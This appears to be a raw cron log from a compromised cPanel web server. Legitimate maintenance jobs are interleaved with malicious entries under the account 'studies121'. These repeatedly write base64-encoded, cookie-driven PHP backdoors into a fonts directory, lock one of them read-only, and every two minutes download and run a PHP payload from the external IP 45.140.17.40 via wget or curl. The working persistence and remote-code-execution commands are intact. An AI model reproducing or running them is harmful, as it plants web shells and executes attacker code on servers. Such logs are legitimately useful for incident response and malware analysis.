Sep  1 16:40:01 ip-184-168-122-23 CROND[23438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:40:01 ip-184-168-122-23 CROND[23437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:41:01 ip-184-168-122-23 CROND[23533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:41:01 ip-184-168-122-23 CROND[23536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:41:01 ip-184-168-122-23 CROND[23537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:41:01 ip-184-168-122-23 CROND[23535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:42:01 ip-184-168-122-23 CROND[23619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:42:01 ip-184-168-122-23 CROND[23624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:42:01 ip-184-168-122-23 CROND[23622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:42:01 ip-184-168-122-23 CROND[23623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:42:01 ip-184-168-122-23 CROND[23621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:43:01 ip-184-168-122-23 CROND[23714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:43:01 ip-184-168-122-23 CROND[23716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:43:01 ip-184-168-122-23 CROND[23717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:43:01 ip-184-168-122-23 CROND[23718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:44:01 ip-184-168-122-23 CROND[23801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:44:01 ip-184-168-122-23 CROND[23803]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:44:01 ip-184-168-122-23 CROND[23804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:44:01 ip-184-168-122-23 CROND[23805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:44:01 ip-184-168-122-23 CROND[23806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23904]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:45:01 ip-184-168-122-23 CROND[23909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:46:01 ip-184-168-122-23 CROND[23997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:46:01 ip-184-168-122-23 CROND[23999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:46:01 ip-184-168-122-23 CROND[24001]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:46:01 ip-184-168-122-23 CROND[24002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:46:01 ip-184-168-122-23 CROND[24003]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:46:01 ip-184-168-122-23 CROND[24004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:46:01 ip-184-168-122-23 CROND[24005]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 16:47:02 ip-184-168-122-23 CROND[24183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:47:02 ip-184-168-122-23 CROND[24184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:47:02 ip-184-168-122-23 CROND[24186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:47:02 ip-184-168-122-23 CROND[24191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:48:01 ip-184-168-122-23 CROND[24279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:48:01 ip-184-168-122-23 CROND[24282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:48:01 ip-184-168-122-23 CROND[24283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:48:01 ip-184-168-122-23 CROND[24284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:48:01 ip-184-168-122-23 CROND[24281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:49:01 ip-184-168-122-23 CROND[24366]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 16:49:01 ip-184-168-122-23 CROND[24367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:49:01 ip-184-168-122-23 CROND[24368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:49:01 ip-184-168-122-23 CROND[24369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:49:01 ip-184-168-122-23 CROND[24370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:50:01 ip-184-168-122-23 CROND[24485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:50:01 ip-184-168-122-23 CROND[24496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:50:01 ip-184-168-122-23 CROND[24498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 16:50:01 ip-184-168-122-23 CROND[24497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:51:01 ip-184-168-122-23 CROND[24595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:51:01 ip-184-168-122-23 CROND[24597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:51:01 ip-184-168-122-23 CROND[24596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:51:01 ip-184-168-122-23 CROND[24599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 16:52:01 ip-184-168-122-23 CROND[24692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 16:52:01 ip-184-168-122-23 CROND[24693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
